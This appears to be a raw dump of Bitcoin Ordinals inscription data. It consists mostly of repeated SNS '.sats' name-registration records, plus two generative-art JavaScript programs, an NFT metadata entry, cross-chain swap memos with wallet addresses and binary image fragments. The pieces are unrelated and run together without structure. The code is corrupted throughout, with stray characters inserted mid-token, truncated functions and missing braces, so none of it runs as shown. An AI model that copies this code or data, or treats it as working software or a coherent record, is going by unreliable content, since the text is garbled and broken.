balls[i].draw(); balls[i].update(); balls[i].changeColour(); } for (let i = 0; i < balls.length; i++) { if (balls[i].radius < 0) { balls.splice(i, mathRand() * 2); } } if (frameCount < maxFrame) { for (let i = 0; i < 5; i++) { balls.push(neM w Ball(x, y, color(img.get(x + mathRand() * 2, y + mathRand() * 2)))); } } else { noLoop() print('stop') // saver() // timer(2000) } class Ball { constructor(mX, mY, c) { this.location = createVector(mX, mY); this.radius = randBetween(0M this.r = red(c); this.g = green(c); this.b = blue(c); this.a = alpha(c); this.xOff = 0.0; this.yOff = 0.0; } update() { this.radius -= mathRand() * 0.00025; let force = randBetween(0.5, maxForce) this.xOff = this.xOff + randBetween(-force, force); this.nX = noise(this.location.x) * this.xOff; this.yOff = this.yOff + randBetween(-force, force); this.nY = noise(this.location.y) * this.yOff; this.location.x += this.nX; this.location.y += this.nY; } changeColour() { this.c = color(img.get(this.location.x, this.location.y)); this.r = red(this.c); this.g = green(this.c); this.b = blue(this.c); this.a = alpha(this.c); } draw() { noStroke(); fill(this.r, this.g, this.b); let brushSize = round(randBetween(1, maxBrush)); if (this.a > 10) { strokeWeight(randBetween(0.25,0.5)) if (clr(rand) == 240) { stroke(10) } else { stroke(250) } ellipse(this.location.x, this.location.y, this.radius * brushSize, this.radius * brushSize); } else { fill(this.r, this.g, this.b, 100) noStroke() rect(this.location.x, this.location.y, thisM .radius * brushSize / randBetween(2.5, 5)); } } function randBetween(a, b) { if (!b) { return mathRand() * a } return mathRand() * (b - a) + a function keyTyped() { if (keyCode === 83) { // if "s" is pressed save(title + '.png'); } function timer(t) { setTimeout(function () { location.reload(true); }, t); function saver() { save(title + '.png'); </script> text/plain;charset=utf-8 "name": "bvb.sats" text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":"whitetruffle.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"upbit.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7809.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7816.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7810.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7814.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7825.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7826.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7815.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7824.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7812.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7820.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7819.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7829.sats"}h! CjA=:ETH.ETH:0x670dAe41Aa19061197975e631A0CE112601bF8a7:317530741::0 text/plain;charset=utf-8 "name": "manutd.sats" text/plain;charset=utf-8 "name": "fren.sats" text/plain;charset=utf-8 "name": "86886.sats" d/Foundry USA Pool #dropgold/ Aj?=:ETH.ETH:0x621c3cee22181124d47b34fc9085874af559ceb7:1351960133 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6140.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6178.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6148.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6180.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6158.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6179.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6137.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6159.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6142.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6154.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6135.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6182.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6190.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6187.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6174.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6149.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6172.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6138.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6170.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6139.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6145.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6143.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6189.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6157.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6184.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6153.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6185.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6147.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6175.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6150.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7856.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7892.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7904.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7895.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7865.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7869.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7863.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7902.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7864.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7891.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7861.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7893.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7859.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7862.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7860.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7691.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7692.sats"}h! 7j5ion:10.QmVXHx159xRhmnKq4emVwbrsJ4r1bRRpTQKZgG5BAh85nM FjDOUT:A3C8F9E50EC5E69976396CFED9CAAE8D0B08D41326110851433794D4F1C37157 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 FjDOUT:553F77EE5D14F9BCE74A1CCBB4F7025F0935143FB4B1501EC5CA90C3F8F6E307 FjDOUT:B28826374C9CEE834F08D480EEAEDBB2C904BEAAB6D1529091C9458CD10E05CC FjDOUT:D71A0513E39FBD59ADDDD7B79FD4758E452D9018A2E273A4FDF7841960E046E2 %-0+----------------------------------------------- text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7810.sats"}h! text/plain;charset=utf-8 "name": "trippy.sats" text/plain;charset=utf-8 "name": "schalke04.sats" text/plain;charset=utf-8 "name": "chelseafc.sats" text/plain;charset=utf-8 "name": "88668.sats" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0878.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0858.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0868.sats"}h! text/plain;charset=utf-8 "name": "77520.sats" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"kknz.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"security.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"88t.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"bitman.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"btc8.sats"}h! text/html;charset=utf-8 <meta charset="UTF-8"/> <title>Ordinal dreams - plottable</title> <script id="snippet-random-code"> let seed = window.location.href.split("/").find((e) => e.includes("i0")); if (null == seed) { const e = "0123456789abcdefghijklmnopqrstuvwsyz"; new URLSearchParams(window.location.search).get("seed") || Array(64) .fill(0) .map((t) => e[(Math.random(M .join("") + "i0"; let e = "seed="; for (let t = 0; t < seed.length - e.length; ++t) if (seed.substring(t, t + e.length) == e) { seed = seed.substring(t + e.length); break; function cyrb128(e) { let t = 1779033703, l = 3144134277, n = 1013904242, i = 2773480762; for (let a, M s = 0; s < e.length; s++) (t = l ^ Math.imul(t ^ (a = e.charCodeAt(s)), 597399067)), (l = n ^ Math.imul(l ^ a, 2869860233)), (n = i ^ Math.imul(n ^ a, 951274213)), (i = t ^ Math.imul(i ^ a, 2716044179)); return ( (t = Math.imul(n ^ (t >>> 18), 597399067)), (l = Math.imul(i ^ (l >>> 22), 2869860233)), (n = Math.imul(t ^ (n >>> 17), 951274213)), (i = Math.M imul(l ^ (i >>> 19), 2716044179)), [(t ^ l ^ n ^ i) >>> 0, (l ^ t) >>> 0, (n ^ t) >>> 0, (i ^ t) >>> 0] function sfc32(e, t, l, n) { return function () { var i = ((e >>>= 0) + (t >>>= 0)) | 0; return ( (e = t ^ (t >>> 9)), (t = ((l >>>= 0) + (l << 3)) | 0), (l = ((l = (l << 21) | (l >>> 11)) + M (i = (i + (n = ((n >>>= 0) + 1) | 0)) | 0)) | 0), (i >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); margin: 0; const random = (a = 1) => a * mathRand(), randomBetween = (a, n) => a + random(n - a), dist = (a, n, r, t) => { var d = a - r, e = n - t; return Math.sqrt(d * d + e * e); const rand = mathRand(), paper: "White", frame: "Red", moons: "Blue", bg: "rgb(230, 230, 230);", fr: "rgba(255,99,71,50)", cr: "blue", op: "0.8", paper: "White", frame: "Blue", moons: "Red", bg: "rgb(230, 230, 2M fr: "blue", cr: "rgba(255,99,71,50)", op: "0.8", paper: "Light green", frame: "Green", moons: "Purple", bg: "lightgreen;", fr: "green", cr: "purple", op: "0.8", paper: "Charcoal", frame: "Gold", moons: "White", bg: "rgb(30, 30, 30)M fr: "gold", cr: "white", op: "1", paper: "Charcoal", frame: "White", moons: "Gold", bg: "rgb(30, 30, 30);", fr: "white", cr: "gold", op: "1", paper: "Charcoal", frame: "Silver", moons: "Gold", bg: "rgb(30, 30, 30);", cr: "gold", op: "1", paper: "Charcoal", frame: "Blue", moons: "Silver", bg: "rgb(30, 30, 30);", fr: "dodgerblue", cr: "silver", op: "1", paper: "Charcoal", frame: "Silver", moons: "Blue", bg: "rgb(30, 30, 30);", fr: "silver",M cr: "dodgerblue", op: "1", paper: "Bitcoin Orange", frame: "Black", moons: "White", bg: "orange", fr: "black", cr: "white", op: "1", function getTraits() { rotateS: 5 * Math.floor(randomBetween(1, 9)) * (mathRand() > 0.5 ? -1 : 1), colId: Math.floor(random(CM olors.length - 1e-7)), rx: mathRand() > 0.5 ? Math.floor(random(20)) : 0, bStart: Math.floor(randomBetween(3, 15)) / 100, moonDensity: 5 * [1, 2, 5, 10][Math.floor(random(4))], isDual: mathRand() > 0.8, frameDensity: 10 * Math.floor(randomBetween(2, 6)), rotateS: rotateS, colId: colId, bStart: bStart, moonDensity: moonDensity, isDual: isDual, frameDensity: frameDeM } = getTraits(); (window.$generativeTraits = { Paper: Colors[colId].paper, Frame: Colors[colId].frame, "Frame size": bStart, "Frame rotation": rotateS, "Frame rounding": rx, "Frame density": frameDensity, Moons: Colors[colId].moons, "Moon Density": moonDensity, "Dual pattern": isDual, console.table(window.$generativeTraits); constructor(e, t, r, o = "white") { (this.x = t), M (this.y = r), (this.r = e), (this.c = o); show(e, t, r, o) { o.setAttribute("id", `c${t}`), o.setAttribute("stroke", this.c); let a = this.r, n = random(2 * Math.PI), s = this.x, i = this.y, l = a * Math.cos(n) + s, d = a * Math.sin(n) + i, c = `M ${l} ${d} `; for (let e = 0; e < 3 * a; e++) (n = random(2 * Math.PI)), (l = a * MathM (d = a * Math.sin(n) + i), (c += `L ${l} ${d} `); let m = document.createElementNS(e, "path"); m.setAttribute("style", "fill:none;stroke-width:1;"), m.setAttribute("d", c), o.appendChild(m); let createCircles = function (e, t, r = 0.05, o = "white") { let a = new Array(), n = Math.min(e, t), s = 0; for (; a.length < moonDensity && M let i = randomBetween(n / (2 * moonDensity), n / 4), l = randomBetween(i + e * r, e * (1 - 2 * r) - i), d = randomBetween(i + e * r, t - e * r * 2 - i); l - i <= 0 || d - i <= 0 || l + i > e || d + i > t || a.some((e) => 0.8 * dist(l, d, e.x, e.y) < i + e.r) ? s++ : (a.push(new Circle(i, l, d, o)), (s = 0)); yin = 11.67, w = xin * dpi, h = yin * dpi, ns = "http://www.w3.org/2000/svg", svg = document.createElementNS(ns, "svg"); svg.setAttribute("id", "svg"), svg.setAttribute("width", "100vw"), svg.setAttribute("height", "100vh"), svg.setAttribute("viewBox", "0 0 " + w + " " + h), svg.setAttribute("style", "background-color:" + Colors[colId].bg + ";"); let bounds = document.creatM eElementNS(ns, "path"); bounds.setAttribute("d", `M 0 0 M ${w} ${h}`), svg.appendChild(bounds); let bg = document.createElementNS(ns, "g"); bg.setAttribute("id", "frame"), bg.setAttribute("stroke", Colors[colId].fr), bg.setAttribute("stroke-opacity", Colors[colId].op), bg.setAttribute("fill", "transparent"); let e = bStart; e < 0.49 && w * (1 - 2 * e) >= 0 && h - 2 * w * e >= 0; e += e / frameDensity let t = document.createElementM t.setAttribute("rx", rx), t.setAttribute("x", w * e), t.setAttribute("y", w * e), t.setAttribute("width", w * (1 - 2 * e)), t.setAttribute("height", h - 2 * w * e), t.setAttribute("transform", "rotate(" + (bStart - e) * rotateS + ")"), bg.appendChild(t); if ((svg.appendChild(bg), isDual)) { let e = document.createElementNS(ns, "use"); e.setAttribute("href", "#frame"), e.setAttribute(M "transform", "translate(" + w + ",0) scale(-1,1)"), svg.appendChild(e); let circles = createCircles(w, h, 0.05, Colors[colId].cr), circ = document.createElementNS(ns, "g"); function downloadSVGAsText() { const e = document.querySelector("svg"), t = btoa(unescape(encodeURIComponent(e.outerHTML))), r = document.createElement("a"), o = new MouseEvent("click"); (r.download = "download.svg"), (r.href = "data:image/svg+xml;M r.dispatchEvent(o); circ.setAttribute("stroke-opacity", Colors[colId].op), circles.forEach((e, t) => { e.show(ns, t, svg, circ); svg.appendChild(circ), document.body.appendChild(svg); const downloadSVG = document.querySelector("#svg"); downloadSVG.addEventListener("click", downloadSVGAsText); text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"hodlong.sats"}h! text/plain;charset=utf-8 "name": "italian.sats" text/plain;charset=utf-8 "name": "hindi.sats" text/plain;charset=utf-8 "name": "indonesian.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "arabic.sats" text/plain;charset=utf-8 "name": "spanish.sats" text/plain;charset=utf-8 "name": "russian.sats" text/plain;charset=utf-8 "name": "bengali.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "portuguese.sats" Bj@=:BNB.BNB:bnb1ej0grj75e06jx0652mudnz6u2zu4ej9xltuppj:77912313::0 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"90001.sats"}h! "name": "m3rl1n.og", "owner": "bc1pyj3rhyzq9jeuljxm684fz068n2sqhk0x20avzcmd6x93u343ys5qwjrc3g", "text":"founder of ordinalboard.com & member <10K sub" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"erica.sats"}h! {"attributes":[{"trait_type":"Background","value":"Orange"},{"trait_type":"Fur","value":"White"},{"trait_type":"Mouth","value":"Bored Unshaven Cigar"},{"trait_type":"Hat","value":"Irish Boho"},{"trait_type":"Clothes","value":"Bitcoin T Black"},{"trait_type":"Eyes","value":"Bored"}],"external_url":"https://baycbitcoin.com/index/bayc/8019","image":"ipfs://QmWwSKeAhhs1CNNDDkMaYgdWvZjrCUyfczc51JXp81i3H1/8019.png"} .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO &O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 "name": "90002.sats" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"meji.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7864.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7865.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"7869.sats"}h! FjDOUT:0C06DF152978B21D8E4A23D0C78B079F8B402D2FF4C3E03B90B84C97E7993368 text/plain;charset=utf-8 "name": "optimus.sats" text/plain;charset=utf-8 "name": "soki.sats" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11045.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11050.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11047.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11049.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11048.sats"}h! text/plain;charset=utf-8 &dB&dB&dB&dB&dB&dB&dB&dB& Bj@=:BNB.BNB:bnb13pfcsj7ta8j2r3k4xr37cdz0zvm3qajqjaruzr:48752739::0 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11024.sats"}h! text/plain;charset=utf-8 "name": ":)).sats" text/plain;charset=utf-8 "name": ":)).sats" text/plain;charset=utf-8 "name": "@420.sats" text/plain;charset=utf-8 "name": "@333.sats" text/plain;charset=utf-8 "name": "muri.sats" text/plain;charset=utf-8 "name": "@oo.sats" text/plain;charset=utf-8 "name": "earn.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "@go.sats" text/plain;charset=utf-8 "name": "00:00.sats" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11025.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11039.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11021.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11041.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"rarefy.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11015.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11033.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11006.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11027.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11031.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11008.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11038.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11040.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11028.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11016.sats"}h! "3 % % 3-7,),7-Q@88@Q^OJO^qeeq "3 % % 3-7,),7-Q@88@Q^OJO^qeeq text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11020.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11037.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9010.sats"}h! text/plain;charset=utf-8 FjDOUT:75538785D269DD424AE098B8ED6EE0F445BE6B89A5E14A724B2038530A5DBBA9 Bj@=:ETH.ETH:0x7f74afd1d4b4ab01D572454AeebB3eD5e48F39F2:27059794::0 text/plain;charset=utf-8 "name": "2,099,999,997,690,000.sats" text/plain;charset=utf-8 "name": "0398.sats" CjA=:BNB.BNB:bnb1nul5pazjsuudl8l8x7edq9ydgyahrvaktnfs5u:469604148::0 CjA=:ETH.ETH:0x70fD822B9795485cF3846736Fb55E29BBA274CF6:310478764::0 d/Foundry USA Pool #dropgold/ text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9618.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9658.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9684.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9681.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9680.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9685.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9682.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9687.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"9678.sats"}h! text/plain;charset=utf-8 "name": "fubar.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"1997123.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"hdy.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"one.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aaw.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"adh.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"acx.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"adq.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"afr.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"acr.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"agw.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"agl.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"afw.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aee.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"agn.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"amu.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"apa.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aes.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"adr.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aor.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"ags.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"acq.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"aoz.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Ticket.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"txl.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"coinbase.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"00X.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11152.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4198.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"00380.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"Dub.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"yhd.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5ire.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5862.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4176.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"f12.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5609.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"youtube.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"1688.sats"}h! text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"chainspace.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5612.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"14888.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0866.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4082.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"alphadog.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"50001.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"stark.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10054.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"UAE.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5806.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5932.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5690.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"12666.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4312.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5810.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"Way.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5638.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11034.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"Adayhg.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5972.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11478.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"coinlist.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"punks1.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"okex.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"az01.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4126.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10094.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"chilli.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4196.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 /{"p":"sns","op":"reg","name":"cancanneed.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"13888.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5608.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"14666.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":"trending.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4120.sats"}h! text/plain;charset=utf-8 1{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5680.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5836.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"free.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4258.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11123.sats"}h! text/plain;charset=utf-8 -{"p":"sns","op":"reg","name":" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"10444.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4078.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4086.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4172.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"5687.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"sbcz.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4260.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4098.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"Add.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"Labs.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11559.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4076.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"4106.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"0066.sats"}h! text/plain;charset=utf-8 